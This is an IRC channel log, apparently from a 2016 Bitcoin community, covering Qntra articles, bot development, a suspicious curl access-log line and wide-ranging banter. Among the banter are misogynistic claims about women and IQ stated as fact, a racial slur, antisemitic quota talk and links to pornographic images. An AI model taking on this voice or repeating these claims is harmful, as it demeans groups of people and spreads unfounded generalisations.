1466434;1463175343;mircea_popescu;BingoBoingo listen, perhaps an article discussing us corn inventories and market not the best explanatory piece for "obestiality and transmayogenderism". 1466435;1463175378;BingoBoingo;Perhaps not, I'll replace it with a better article from Trilema 1466436;1463175485;BingoBoingo;replaced with http://trilema.com/2014/fatlogic/ 1466437;1463175833;mircea_popescu;i guess one thing here is, maybe qntra should have a lexicon ? 1466438;1463175840;mircea_popescu;could fill in definitions on blogs. 1466439;1463176030;BingoBoingo;But how would that help to filter alert/regular readers from the people who should have been around in 2015? 1466440;1463176089;mircea_popescu;so what, qntra spaceship left earth in 2015 and that's that ? 1466441;1463176726;BingoBoingo;Too early to tell, but it only too MPEx what, a month of beta then 30 BTC, 50 BTC, moon? 1466442;1463176741;mircea_popescu;lol 1466443;1463177286;BingoBoingo;But there's no reason one can't read all of qntra in 2-3 months to catch up. 1466444;1463177314;mircea_popescu;ok, ok, but clicks must be meaningful relations. 1466445;1463177339;deedbot;[Qntra] Philadelphia Occupation Force Disguises Surveillance Van As Google Surveillance Van - http://qntra.net/2016/05/philadelphia-occupation-force-disguises-surveillance-van-as-google-surveillance-van/ 1466446;1463177634;mod6;want a tbot sneak peak? 1466447;1463177643;mircea_popescu;defo 1466448;1463177687;mod6;http://dpaste.com/1K5W83D.txt 1466449;1463177691;shinohai;bot wars has been fun mod6 :D 1466450;1463177695;mod6;pew pew pew 1466451;1463177709;mod6;i'll work on it a bit more later. 1466452;1463177727;mircea_popescu;nb. 1466453;1463178378;BingoBoingo;sweet 1466454;1463180701;shinohai;bwahaha I have a `t` bot working mod6 1466455;1463183338;mircea_popescu;so word around the campfire is that president donald trunkduck is going to have a turducken dinner for his wh inauguration. 1466456;1463186514;asciilifeform;turducken?! the man is a coprophag ?!@ 1466457;1463188777;mircea_popescu;$google turducken 1466458;1463188785;deedbot;https://en.wikipedia.org/wiki/Turducken << Turducken - Wikipedia, the free encyclopedia | http://www.cajungrocer.com/fresh-foods-holiday-dishes-turducken-c-1_15_24.html << Turducken | $85 Delivered | Order Now! | Fresh from CajunGrocer | http://www.foodnetwork.com/recipes/paula-deen/turducken-recipe.html << Turducken Recipe : Paula Deen : Food Network 1466459;1463189668;mircea_popescu; https://pbs.twimg.com/media/ChtuyP0VEAQZlY1.jpg << dude this guy... a) my enchiladas beat his tacos, by a very long shot ; b) wtf office is that omfg. 1466460;1463191506;joecool;mircea_popescu: i believe he did that for what they call, the lulz 1466461;1463194959;mircea_popescu;oh i c 1466462;1463210441;ben_vulpes;http://btcbase.org/log/2016-05-12#1466205 << who thought it was a good idea to a) send luke-jr on a diplomatic mission to tmsr b) with no formal ask 1466463;1463210441;a111;Logged on 2016-05-12 15:40 asciilifeform: $up luke-jr 1466464;1463210521;ben_vulpes;;;later tell luke-jr trilema.com/2016/the-necessary-prerequisite-for-any-change-to-the-bitcoin-protocol/ 1466465;1463210521;gribble;The operation succeeded. 1466466;1463231959;mircea_popescu;ben_vulpes the muppets live off pretense and derpage. perfectly self-consistent. 1466467;1463232190;mircea_popescu;and in other news, check out this pretty sweetheart. http://67.media.tumblr.com/4cb36414f98f2e6a38bad6ed9445c2e8/tumblr_nf0jwjjxQC1spdyhpo1_1280.jpg 1466468;1463232224;mircea_popescu;bad crop, bad pose, what the fuck is it with the milkstained, nipple torn bra and so on. 1466469;1463232227;mircea_popescu;fucking 80s, man... 1466470;1463232244;shinohai;Still rather nice to wake up to I'd say. 1466471;1463232275;mircea_popescu;girl's clearly havign fun / feeling safe / all in lubs and shit. which is definitely something that went out of porn with the end of the 80s. 1466472;1463232452;shinohai;;;later tell mod6 I almost have bot able to accept tickets, needs a few tweaks. 1466473;1463232452;gribble;The operation succeeded. 1466474;1463232459;mircea_popescu;:D 1466475;1463232516;shinohai;I got obsessed with tbot features last night. 1466476;1463232538;mircea_popescu;pretty cool. 1466477;1463232681;shinohai;I am getting this error for some reason when generating ascii graphs: Warning: Layouter could only place 31 nodes/31 edges out of 31/34 - giving up at t.pl line 312. 1466478;1463232689;shinohai;But it looks to print fine. 1466479;1463233186;mircea_popescu;in other lulz, http://dpaste.com/0YXY6DY 1466480;1463233200;mircea_popescu;i suppose i tell him to write for qntra ? :D 1466481;1463233444;shinohai;Just go ahead and write the Chicago Trib and NYT while yer at it bub 1466482;1463233480;*;shinohai Listens to the mixtape 1466483;1463233729;mircea_popescu;used to be how this worked, 150 or so years ago. you wrote to the newspaper, and they were so impressed you could write at all they'd hire you. 1466484;1463233747;mircea_popescu;fuck, 50 years ago people'd be so impressed you had a computer at all they'd hire you. etc. 1466485;1463233917;shinohai;Worked for Robert Ripley 1466486;1463236063;asciilifeform;mircea_popescu: i'm about to see expo at ro embassy. anything specifically lulzy there to watch for ? 1466487;1463236295;asciilifeform;in other lulz, 1466488;1463236311;asciilifeform;somebody's snarfing all of the /download/-able keyz off phuctor 1466489;1463236318;asciilifeform;somebody really caaaaarez!11111 1466490;1463236350;*;asciilifeform waves at 217.70.197.244 1466491;1463236697;mircea_popescu;lol nothing wrong with that is there ? 1466492;1463236725;mircea_popescu;anyway, i can't recall who's wash ro ambassador. but traditionalyl that thing's a total rat's nest of spyppls. 1466493;1463237635;asciilifeform;mircea_popescu: it had the biggest discone antenna i've ever seen on a roof 1466494;1463237725;asciilifeform;http://btcbase.org/log/2016-05-14#1466491 << notrly 1466495;1463237725;a111;Logged on 2016-05-14 14:38 mircea_popescu: lol nothing wrong with that is there ? 1466496;1463239987;ben_vulpes;boeck's going to show up with all of the keys and a backdated modulus or two now 1466497;1463241369;mircea_popescu;hm ? 1466498;1463241754;ben_vulpes;now that he's got the whole keyset he can properly duplicate and backdate stan's work 1466499;1463241880;mircea_popescu;ah heh. myeah. 1466500;1463241902;mircea_popescu;and "nobody knows" that new ones pop here as they happen, ofcourse. lettuce not be divisive. 1466501;1463242404;asciilifeform;i dun get it, why leech from my site vs sks 1466502;1463242429;asciilifeform;and holy shit, 3blox of queue for ro 1466503;1463242511;mircea_popescu;o.O 1466504;1463242519;mircea_popescu;i think you might have found the us spy convention. 1466505;1463246717;mod6;shinohai: ah cool man. 1466506;1463249639;asciilifeform;no spy recruit booth, i am mega-disappoint!11111 1466507;1463250201;davout;asciilifeform: you didn't spot it, you failed the test 1466508;1463250434;asciilifeform;davout: evidently! 1466509;1463250552;mircea_popescu;awww 1466510;1463251230;*;BingoBoingo waits for the eventually day when alf wanders into an embassy and the embassy doesn't let him leave. 1466511;1463251409;mircea_popescu;or maybe the day BingoBoingo wanders into a cunt and the cunt doesn't let him leave/ 1466512;1463251420;BingoBoingo;Serious hazard. 1466513;1463251433;mircea_popescu;lost forever in the streets of whaledom... he's the man that never ret-urned. 1466514;1463252224;hanbot; in other lulz, http://dpaste.com/0YXY6DY << what's a cock & ball torture worksheet anyway? 1466515;1463252292;shinohai;i didn't catch that, nice one hanbot 1466516;1463252544;BingoBoingo;In other pr0nz https://i.imgur.com/LPbBsnu.jpg 1466517;1463253635;mircea_popescu;hanbot you know, looking through it... one thing that struck me about the abundance of patently insane esl folk is, this strange, rare (from a clinical pov) tendency to minutiously document their whatevers. 1466518;1463253659;mircea_popescu;turns out, this, like most everything else in mental pathology, is actually the result of attempted curative practices 1466519;1463253682;mircea_popescu;ie, that cbt shit. supposedly if you write down everything in detail instead of doing it, you'll be better. 1466520;1463253739;mircea_popescu;to anyone qualified in the field it's obvious that this approach helps psychosis and hurts neurosis ; and that it's about 1000 times more likely to be picked up by the neurotic than by the psychotic. for the very fucking obvious reason that cures predicated on health are no fucking cures whatsoever omfg what school did these nitwits go to anyway! 1466521;1463253772;mircea_popescu;but whatever, as long as conde nast's happy that reddit gets "user generated content" all's well. 1466522;1463253965;hanbot;everyone knows you have to prepare for sucksess, what's this "doing" you speak of! it costs too much, it's better to wait, they'll do it once their real lives begin. 1466523;1463254016;mircea_popescu;i don't think one third of present "first world" folk would pass a rigorous sanity check as executed by 1916 mental health practitioners. 1466524;1463254034;mircea_popescu;leaving aside how they wouldn't pass the ridicule of the flauberts of that world. 1466525;1463254074;hanbot;well i imagine most women would get the "hysterical" stamp anyway. 1466526;1463254087;mircea_popescu;genetics have not changed in a century ; or in ten millenia for that matter. 1466527;1463254092;ben_vulpes;no shit, hanbot 1466528;1463254104;mircea_popescu;education however - has. reformed out the wazoo by all sorts of ustardian/evanghelical/whatever derps. 1466529;1463254155;mircea_popescu;hanbot for all the derpage about "liberation" etc - most women don't actually behave like they're old enough to be house servants. 1466530;1463254218;mircea_popescu;(which was, at the time, the fate of the highly functional retards. women above 90iq actually married.) 1466531;1463254257;mircea_popescu;i have no fucking idea how progress, improvement and liberation resulted in a palpable drop of 25-30 iq points across the entire population, but there it is. 1466532;1463254295;hanbot;well inasmuch as liberation is a removal of filters... 1466533;1463254306;mircea_popescu;it's economically masked by the fact that power leverage increased with technology, exponentially - so to run a 10`000 group then you needed 1k > 100 and 100 > 110 and at least a dozen > 120, but now 3 people over 115 suffice. 1466534;1463254341;mircea_popescu;but that aside ... and incidentally THIS is why "apocalyptic" scenarios are so fucking dangerous. god only help you if you're trying to live "in the civilised world" and ANYTHING happens to keep any one of those three from his toys. 1466535;1463254354;mircea_popescu;famine suddenly looks like deliverance. 1466536;1463254368;diana_coman; i have no fucking idea how progress, improvement and liberation resulted in a palpable drop of 25-30 iq points across the entire population, but there it is. <- uhm, correlation ate causation much? 1466537;1463254373;mircea_popescu;and that something... doesn't have to be a meteor strike. suppose one of the three changes sides and goes full republic. what then. 1466538;1463254395;mircea_popescu;diana_coman but there's not that many alternative causations. it could either be genetic or environmental. 1466539;1463254407;mircea_popescu;and since "progress" spans ALL the environment, the assessment's fair. 1466540;1463254423;mircea_popescu;i do not care to distinguish which specific facet of progress did more, or most, or anything. 1466541;1463254515;diana_coman;don't really know enough to say whether genetic really is simply the same for one thing 1466542;1463254526;mircea_popescu;it can't change in this short a timespan. 1466543;1463254540;mircea_popescu;a few generations ? that's too fast for most bacteria. 1466544;1463254550;diana_coman;for the other if it is for a simple explanation, I'd go for the fact that many more used to die before they even reached 15 or whatever 1466545;1463254560;diana_coman;so way more selection 1466546;1463254561;mircea_popescu;that's progress, neh ? 1466547;1463254584;diana_coman;maybe 1466548;1463254605;mircea_popescu;but if you ask the economiasts of the statu quo, they would say yes, this is progress - fewer idiots die now than then. 1466549;1463254614;mircea_popescu;modern democracy and human rights etc. progress. 1466550;1463254752;hanbot;mircea_popescu i think that's supposed to go "fewer great people die from preventable causes than then" 1466551;1463254802;hanbot;not that i think the victim shouldn't be blamed in such cases. an exemption for eg francis bacon would've been nice tho. 1466552;1463254810;mircea_popescu;why ? 1466553;1463254831;mircea_popescu;it's great for his fucking health that if he starts running around the field packing chicken with snow he catches a cold and dies. 1466554;1463254861;mircea_popescu;mental health, i mean. the problem of "coffin liners" that asciilifeform discussed in the log is the direct counter to this. if they don't catch their death of cold, they lose track of themselves. this is not good. 1466555;1463254988;hanbot;i suspect nature is stocked with enough barbs to allow for the occasional narrow escape without sacrificing doom&consequence. 1466556;1463254993;hanbot;but i'm in a good mood. 1466557;1463255008;mircea_popescu;and people suspected the river is stocked with enough garbagemen to allow for the occasional dumping of garbage. 1466558;1463255012;mircea_popescu;then it turned out it wasn't. 1466559;1463255065;mircea_popescu;educating children by the sight of the whip only works in children that have lived experience with the cut of the whip. otherwise, it's just some weird churchly ritual of no meaning, power or importance. 1466560;1463255095;hanbot;can't learn once they're dead, neh? 1466561;1463255102;mircea_popescu;he's not alone. 1466562;1463255402;hanbot;school of hardest knocks, i guess. 1466563;1463255733;mircea_popescu;improving on nature is how fish tanks start with fish and end up with algae. 1466564;1463259221;shinohai;https://ma.ttias.be/day-google-chrome-disabled-http2-nearly-everyone-may-15th-2016/ <<< HTTPS/2.0 apparently becomes dead for Chrome if the server's OpenSSL is lower than 1.0.2 1466565;1463262261;mircea_popescu;phf interesting defect in log, see line above 1466566;1463262395;mircea_popescu;shinohai https, nobody cares. 1466567;1463262434;shinohai;just lulzy 1466568;1463262741;shinohai;Saturday evening facesitting: http://i.4cdn.org/b/1463260904535.jpg 1466569;1463263265;mircea_popescu;http://66.media.tumblr.com/34ead8001a63efc69f41de6f367b5d62/tumblr_nevtonLGDH1tme9oio1_1280.jpg << teen spirit, better. 1466570;1463264053;phf;mircea_popescu: word 1466571;1463264166;phf;it actually comes up a lot, like standalone "http"'s get highlighted as links 1466572;1463265732;shinohai;http://hothardware.com/news/researchers-leak-personal-info-70000-okcupid-profiles heh 1466573;1463265839;shinohai;I couldn't find what the outcome of their "legal options" were tho 1466574;1463265898;mircea_popescu;roflmao. 1466575;1463265905;hanbot;researchers now, is it. 1466576;1463265909;mircea_popescu;"researchers at aarhaus university in denmark" ? 1466577;1463265975;mircea_popescu;so by 2020 "university research" will consist of reading logs and naught else. win. 1466578;1463266314;mircea_popescu;in yet another example of "security industry" being a bunch of useless scammers, " Why is my fsecure antivirus stopping the http://logs.minigame.bz webpage in my browser claiming it´s suspect?" 1466579;1463266324;mircea_popescu;and so it fucking does, https://search.f-secure.com/search?query=http%3A%2F%2Flogs.minigame.bz 1466580;1463266335;mircea_popescu;meanwhile, the page includes NO javascript even. 1466581;1463266353;mircea_popescu;the idiots are prolly regexp matching ".py" in the generated-by meta tag or somesuch idiocy. 1466582;1463266416;phf;"( ) Safe. ( ) Suspicious. ( ) Harmful. (*) Seditious." 1466583;1463266451;mircea_popescu;heh 1466584;1463266479;mircea_popescu;meanwhuile dumbass f-secure site pops all the bullshit surveys and whatnot. 1466585;1463266485;mircea_popescu;the gall of these idiots. 1466586;1463266943;BingoBoingo;$up Framedragger 1466587;1463266947;deedbot;Framedragger voiced for 30 minutes. 1466588;1463266965;Framedragger;thanks BingoBoingo 1466589;1463267016;deedbot;[Qntra] Bitcoin Fork "Core" Plans To "Open Up" Contribution Process - http://qntra.net/2016/05/bitcoin-fork-core-plans-to-open-up-contribution-process/ 1466590;1463267325;Framedragger;mircea_popescu: are you still interested in having someone deliver http://trilema.com/2015/a-proper-social-site-for-the-bdsm-community/ ? 1466591;1463267358;Framedragger;or maybe someone else knows, has anyone attempted http://trilema.com/2015/a-proper-social-site-for-the-bdsm-community/ 1466592;1463269344;asciilifeform;http://btcbase.org/log/2016-05-14#1466510 << there is a house, in a washington suburb, next to a certain restaurant that i sometimes take pet to, it has iron door and 'high voltage sign', and claims to be an electric co substation, but has normal utility wire going to it, and sometimes lights (and curtains) in the windows. i always say, 'this is cia safehouse, perhaps i can apply to be dismembered here' 1466593;1463269344;a111;Logged on 2016-05-14 18:40 BingoBoingo waits for the eventually day when alf wanders into an embassy and the embassy doesn't let him leave. 1466594;1463269385;BingoBoingo;lol, there are some of those scattered around this region too 1466595;1463269395;BingoBoingo;none particularly close to where I frequent 1466596;1463269406;asciilifeform;most of'em ~are~ substations 1466597;1463269409;asciilifeform;esp. popular in cities 1466598;1463269421;asciilifeform;i dun have a thermovisor atm so can't tell for 100%. 1466599;1463269431;asciilifeform;but it would do the trick. 1466600;1463269471;asciilifeform;(incidentally why should usg be doing ~all~ of the thermo-journalism!? time for free men to do their share..?) 1466601;1463269575;asciilifeform;http://btcbase.org/log/2016-05-14#1466517 << prisoners, when they can get hold of a pen, also do it 1466602;1463269575;a111;Logged on 2016-05-14 19:20 mircea_popescu: hanbot you know, looking through it... one thing that struck me about the abundance of patently insane esl folk is, this strange, rare (from a clinical pov) tendency to minutiously document their whatevers. 1466603;1463269622;asciilifeform;it is a frequent pasttime of the dying, the quasi-dead, and the living dead, at least those among them who are even semi-literate 1466604;1463269638;asciilifeform;there is this notion that writing can turn meaningless waste of life into some sort of condensed meaning 1466605;1463269672;asciilifeform;and yes, it is the harness which reddit et al are powered by, just like horse harness works because the animal likes going forward 1466606;1463269730;asciilifeform;http://btcbase.org/log/2016-05-14#1466523 << or even 1980 1466607;1463269730;a111;Logged on 2016-05-14 19:26 mircea_popescu: i don't think one third of present "first world" folk would pass a rigorous sanity check as executed by 1916 mental health practitioners. 1466608;1463269794;shinohai;;;later tell BingoBoingo http://ix.io/Evs 1466609;1463269795;gribble;The operation succeeded. 1466610;1463269798;asciilifeform;http://btcbase.org/log/2016-05-14#1466537 << for some peculiar reason, 'atlas' never seems to 'shrugged' in real life. 1466611;1463269798;a111;Logged on 2016-05-14 19:32 mircea_popescu: and that something... doesn't have to be a meteor strike. suppose one of the three changes sides and goes full republic. what then. 1466612;1463269975;BingoBoingo;No, the problem is the fucking scabs who keep on 1466613;1463270151;deedbot;[Qntra] Altcoin Exchange Hacked, Claims $2 Million United States dollars Lost - http://qntra.net/2016/05/altcoin-exchange-hacked-claims-2-million-united-states-dollars-lost/ 1466614;1463270169;asciilifeform;BingoBoingo: well no shit. also helps that in real life there is not a 'gulch' for them to escape to. 1466615;1463270200;BingoBoingo;They could at least drop out and play Xbawkz all day 1466616;1463270217;asciilifeform;on what coin 1466617;1463270286;*;asciilifeform can't wait for mircea_popescu to wake up and comment 'you are imbecile, and reason like a slave!1111 REAL MEN can, MUST subsist on the bone marrow of their enemies! what filthy coin' 1466618;1463270314;mircea_popescu;wait, what 1466619;1463270339;asciilifeform;seel0gz 1466620;1463270429;mircea_popescu; mircea_popescu: are you still interested << well... not someone whose attention span is five minutes ? 1466621;1463270434;BingoBoingo;asciilifeform: On Bahamascare and Phood stampz coin? 1466622;1463270443;asciilifeform;BingoBoingo: you too see l0gz 1466623;1463270456;asciilifeform;BingoBoingo: a cultured man will eat pistol before living in porchmonkeyland 1466624;1463270481;mircea_popescu; asciilifeform> (incidentally why should usg be doing ~all~ of the thermo-journalism!? time for free men to do their share..?) << this is quite so. 1466625;1463270515;asciilifeform;mircea_popescu: lulzily, somehow usg has not caught up with the profusion of cheap thermovisors that it itself (via massive subsidies) caused, and they've no meaningful shielding 1466626;1463270527;asciilifeform;(not that such shielding is esp. feasible in the general case) 1466627;1463270566;mircea_popescu;asciilifeform> http://btcbase.org/log/2016-05-14#1466537 << for some peculiar reason, 'atlas' never seems to 'shrugged' in real life. << keyword being "seems". 1466628;1463270566;a111;Logged on 2016-05-14 19:32 mircea_popescu: and that something... doesn't have to be a meteor strike. suppose one of the three changes sides and goes full republic. what then. 1466629;1463270568;asciilifeform;i can think of 1,001 illicit uses 1466630;1463270578;mircea_popescu;throughout the 70s women never "seemed" to suck the cock in real life either. 1466631;1463270579;asciilifeform;e.g., determine ACTUAL % of derelict houses 1466632;1463270603;BingoBoingo;asciilifeform: You are the one who suggested Atlas "shrug". Shrug is different from Atlas takes the ball off his shoulder, dribbles it down the court, and makes a three point shot. 1466633;1463270616;asciilifeform;i love it when mircea_popescu takes 'my' traditional side in argument - e.g., as seen here, argument ad metacocksucknsa 1466634;1463270638;asciilifeform;BingoBoingo: plox wake me up when this 1466635;1463270694;BingoBoingo;Seriously shrugging is a passive thing. Bouncing the world and the enemies attached to it across the hardwood would be noticed. Who the fuck notices someone else shrugging. Shrug is uninteresting. 1466636;1463270725;mircea_popescu;notably, the us exists today because some people shrugged at some point in the 18th century. 1466637;1463270728;asciilifeform;BingoBoingo: well the thread was about hypothetical 'three good men' who keep the lights on 1466638;1463270741;asciilifeform;presumably you and i would notice if they decided to vodka instead of work one day 1466639;1463270741;mircea_popescu;happens all the time ; but in order to live in a certain shared psychosis, the key is to "not notice". 1466640;1463270803;mircea_popescu;happened sometime in the 90s, also. after a brief euphoria post the berlin wall moment, people went "well what now ?". just like in that joke with the gypsy woman, "do we wash it or do we make another ?" 1466641;1463270813;mircea_popescu;the decision came out "make another", which is === shrug. 1466642;1463270838;mircea_popescu;for which reason there can not exist "america" of the previous millennium. not no more. nor "western europe" nor any of the rest of the stuff. 1466643;1463270911;mircea_popescu;stuff like http://trilema.com/2015/other-peoples-money/ is actually documenting the tail end of that shrug. 1466644;1463271122;asciilifeform;well the way i read the thread, it was about hypothetical 'if these 3 folks stay home, the trains stop' vs classic sov 'i'ma be a furnace stoker instead of engineer because fuckyou' 1466645;1463271145;mircea_popescu;no particular construction was built on top of it. could be this, could be that. 1466646;1463271169;asciilifeform;the latter proposition - documentedly happened 1466647;1463271177;asciilifeform;the former, afaik - not 1466648;1463271181;mircea_popescu;fact is that where you needed 10% of the population before you need 0.1% now. and, economy being what it is and human nature being what it is, this "saving" did not get passed on. it just went into lazy, inefficient and wasteful. 1466649;1463271192;mircea_popescu;so today things are just a lot more fragile and that's all. 1466650;1463271193;asciilifeform;now this - surely. 1466651;1463271201;mircea_popescu;overall, the tribe of monkeys still makes ~ what it always made 1466652;1463271206;mircea_popescu;which is to say not much of anything at all. 1466653;1463271223;asciilifeform;yeah, factory, office, etc. still 'employs' the 10 1466654;1463271233;asciilifeform;with .1 doing anything describable even charitably as work 1466655;1463271237;asciilifeform;the rest - warming chair 1466656;1463271240;asciilifeform;and arsebooking 1466657;1463271259;asciilifeform;and, of course, 1466658;1463271263;asciilifeform;'managing' the .1. 1466659;1463271270;mircea_popescu;now, WHY the three people that actually matter may no longer do their magic... whatever. maybe their toy breaks. maybe evil alien xenomorph mp comes and breaks their moore law and they're up shit creek without it. maybe they just start hating the morlochs. 1466660;1463271277;mircea_popescu;whatever it may be... fragility's fragility. 1466661;1463271309;asciilifeform;i'm not certain that a setup built by folks who 'hate the morlocks' would be readily distinguishable from the existing one. 1466662;1463271330;mircea_popescu;goes deeper : 1466663;1463271340;mircea_popescu;there's no way to even show that the possibility of such meaning exists. 1466664;1463271383;mircea_popescu;(there isn't a general rule that all edges of the implication ball are part of this world. much like there's no guarantee that all the numbers coming out of a defined arithmetic operation are in the set of numbers you can display) 1466665;1463271412;asciilifeform;eh sure 1466666;1463271418;asciilifeform;nonphysical solution to quadratic,etc 1466667;1463271436;mircea_popescu;so whether they are or are not distinct, there's no requirement the distinction can be stated. 1466668;1463271590;BingoBoingo;In other lights off trends https://archive.is/LFJf2 1466669;1463271661;asciilifeform;BingoBoingo: lel! 'let's rebrand artificial ponds' 1466670;1463271713;BingoBoingo;More too the point can't swim in the real ponds because couldn't avoid ruining them. Can't smart enough for civilized chemical fest pool. Y Not fake pond? 1466671;1463271772;asciilifeform;http://btcbase.org/log/2016-05-14#1466554 << arguably, ~old men~ in whatever form, tend to wreak havoc on whatever it was that they meaningfully contributed to as young men - think of millikan, say. the 'eminent scientist emeritus' is, typically, a revolting specimen 1466672;1463271772;a111;Logged on 2016-05-14 19:41 mircea_popescu: mental health, i mean. the problem of "coffin liners" that asciilifeform discussed in the log is the direct counter to this. if they don't catch their death of cold, they lose track of themselves. this is not good. 1466673;1463271784;asciilifeform;a kind of 'dog in the manger' in just about every case i've personally dealt with 1466674;1463271800;asciilifeform;the obscure crackpots writing into a drawer - are generally harmless. 1466675;1463271804;mircea_popescu;asciilifeform depends. i am not convinced by this theory because i've seen the % vary very wildly across culutres. 1466676;1463271815;mircea_popescu;so currently i'm suspecting it's more of an environment issue than an old man issue 1466677;1463271826;asciilifeform;might be specifically true in dying cultures 1466678;1463271832;asciilifeform;where there is not so much resource to go around 1466679;1463271835;asciilifeform;and no 'frontier' 1466680;1463271837;mircea_popescu;("citokines are really bad mkay" sorta argument) 1466681;1463271842;asciilifeform;where the young are advantaged 1466682;1463271861;mircea_popescu;you think the young are at an advantage on oregon trail vs say boston ?! 1466683;1463271884;asciilifeform;well in the sense of 'must have this much strength to play' strictly 1466684;1463271895;asciilifeform;and oregon is piss poor example. better - klondike. 1466685;1463271905;mircea_popescu;why ? 1466686;1463271911;asciilifeform;no 'fambleees' 1466687;1463271933;mircea_popescu;no man has a famblee unless a) he's an idiot or b) the woman's +ev. 1466688;1463271972;asciilifeform;from the lulzmachine, 1466689;1463271974;asciilifeform;177.190.190.107 - - [15/May/2016:00:25:12 +0000] "GET / HTTP/1.0" 200 1101 "-" "curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3" "177.190.190.107" 1466690;1463271981;asciilifeform;^ who are you? pwned router?! 1466691;1463272020;mircea_popescu;brazil. much like korea, windowsland. 1466692;1463272040;asciilifeform;ain't no winblowz on mips. not since nt 4 anyway 1466693;1463272059;mircea_popescu;the agent string is arbitrary. 1466694;1463272065;asciilifeform;sure. 1466695;1463272073;asciilifeform;but interesting pick. 1466696;1463272096;asciilifeform;though, funnily, i know of at least one winblowz trojan that bundled a mips ~emulator~ internally 1466697;1463272098;*;BingoBoingo still rolfing at pool that gets ruined if it is pissed in one too many times 1466698;1463272102;asciilifeform;and had bins built ~for it~ 1466699;1463272104;mircea_popescu;$google (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3 1466700;1463272104;asciilifeform;as obfuscatron. 1466701;1463272109;deedbot;No results. 1466702;1463272112;mircea_popescu;heh. 1466703;1463272358;asciilifeform;http://btcbase.org/log/2016-05-14#1466576 << this flavour of claptrap is becoming a sop pattern innit. 1466704;1463272358;a111;Logged on 2016-05-14 22:45 mircea_popescu: "researchers at aarhaus university in denmark" ? 1466705;1463272390;asciilifeform;sorta like ye olde 'по просьбе трудящихся...' ! 1466706;1463272429;asciilifeform;( mircea_popescu ! how do we say that iconic utterance in ro!? ) 1466707;1463272446;asciilifeform;and can jurov tell us what it is in cz ? 1466708;1463272599;asciilifeform;somebody... (vaclav havel ?) had a spiffy essay, long ago, re how inca empires invariably fall into having a set of officiose idiocies, enumerated expressions like this. 1466709;1463272616;asciilifeform;where on both sides of the table there is a nod and wink, because 'everybody knows' 1466710;1463273541;shinohai;;;later tell mod6 http://ephemeralp2p.durazo.us/42bb769b817d7b02f237f1754ab7c1287880dc59547f30af28208ff21a3caff6 1466711;1463273541;gribble;The operation succeeded. 1466712;1463275188;mircea_popescu;$key wise 1466713;1463275195;deedbot;http://wotpaste.cascadianhacker.com/r/a763d369-60cd-4fc6-9199-82c125fcd734/ 1466714;1463275380;mircea_popescu;$rate wise 1 Euloran 1466715;1463275385;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/ab8dc679-cdd6-4f34-bc55-b8264b09c512/ 1466716;1463275416;mircea_popescu;$v A574295F5F7E38C19A515336EF66E2AEA509070C8C7E5F55CD0080E250F6EE44 1466717;1463275417;deedbot;mircea_popescu rated wise 1 << Euloran 1466718;1463276483;mircea_popescu;"conform vointei clasei muncitoare" or somesuch. 1466719;1463276546;mircea_popescu;of course as far as the crap on tv went, "la cererea publicului [tele]spectator" 1466720;1463278119;asciilifeform;lulzily, ro embassy had a ludicrous display titled something like '100 years of usa-romania fellat^H^H^H^H^Hriendship' 1466721;1463278242;asciilifeform;http://btcbase.org/log/2016-05-15#1466710 << wat's this 1466722;1463278270;asciilifeform;bot dead?! 1466723;1463278816;ben_vulpes;;;ls 1466724;1463278817;gribble;What do you think I am, a shell? 1466725;1463279889;mircea_popescu;asciilifeform in other news, ro politruk class snubbed the us inauguration of some radars or w/e on romanian soil, part of rocket shield lulzfest. 1466726;1463279899;mircea_popescu;THIS IS IMPORTANT!!111 1466727;1463280321;asciilifeform;l0l 1466728;1463280337;asciilifeform;guess they didn't want to become a ru bombardment-prior-to-launch zone 1466729;1463280339;asciilifeform;or sumthing. 1466730;1463280372;asciilifeform;l0gz, incidentally, dead. 1466731;1463280377;mircea_popescu;oh ? 1466732;1463280388;asciilifeform;well, stuck at ~1h ago. 1466733;1463280660;asciilifeform;... and who even gives half a shit re land-based rockets any moar. 1466734;1463280685;mircea_popescu;or, as the case is here, land based locators. really, you're gonna use something on land ? 1466735;1463280689;mircea_popescu;because why the everloving fuck. 1466736;1463280697;asciilifeform;because it is 1958 1466737;1463280699;asciilifeform;or sumthing. 1466738;1463280725;mircea_popescu;i have nfi who designed an anti-nuke system that depends on parking lots ffs. or, for that matter, who the fuck believes this/ 1466739;1463280742;asciilifeform;the vendor, obviously. 1466740;1463280744;asciilifeform;who rakes in the dough. 1466741;1463280758;asciilifeform;optimized, quite clearly to the naked eye, for max rake 1466742;1463280763;asciilifeform;vs anything at all else. 1466743;1463280801;asciilifeform;ever handle a piece of american mil tech designed post-reagan ? 1466744;1463280815;asciilifeform;it practically screams at you 1466745;1463280839;asciilifeform;in precisely the way ru tech screams 'angry and cheap and fuckyou', 1466746;1463280875;asciilifeform;it screams 'i pay for some derp to go to yaleprinceward and for two shriveled hags' alimony' 1466747;1463280893;asciilifeform;x 10,000 chair warmers. 1466748;1463281005;mircea_popescu;heh. 1466749;1463281007;asciilifeform;recent specimens of wunderwaffen are liable to, i shit thee not, have '3d printed' plastic parts. 1466750;1463281013;asciilifeform;i watched this, alive. 1466751;1463281350;mod6;good evening 1466752;1463292141;mircea_popescu;well... prototyping 1466753;1463293858;ben_vulpes;anything airborne without a human on it. 1466754;1463308376;davout;phf: log doesn't appear to sync properly 1466755;1463318147;danielpbarron;;;later tell BingoBoingo article on core fork says "has not yet publically made any public statements" -- seeme redundant 1466756;1463318147;gribble;The operation succeeded. 1466757;1463318614;BingoBoingo;danielpbarron: fxd 1466758;1463319093;BingoBoingo;https://www.insidehighered.com/views/2016/05/13/elite-colleges-should-not-penalize-asian-applicants-essay 1466759;1463319290;BingoBoingo;Moar MP copycatting https://archive.is/vcvcw 1466760;1463319461;BingoBoingo;In other BitButtBet lolz https://archive.is/KbCMN 1466761;1463320389;BingoBoingo;https://i.imgur.com/bAt1n5z.png 1466762;1463320499;shinohai;lol 1466763;1463322163;asciilifeform;mircea_popescu: nope, not prototyping. production. 1466764;1463322172;asciilifeform;phf awake ? 1466765;1463322175;asciilifeform;log STILL DEAD 1466766;1463322746;shinohai;D: 1466767;1463322759;asciilifeform;BingoBoingo: similar situation with 'jew quota' in su. 'officially' it never existed. in practice, any serious institute where the management did ~not~ quietly implement one, would rapidly turn ~80% jew and the brass would have to confront party official asking 'why are you running a synagogue here' 1466768;1463322816;asciilifeform;the ottoman empire, iirc, never invented quotas. 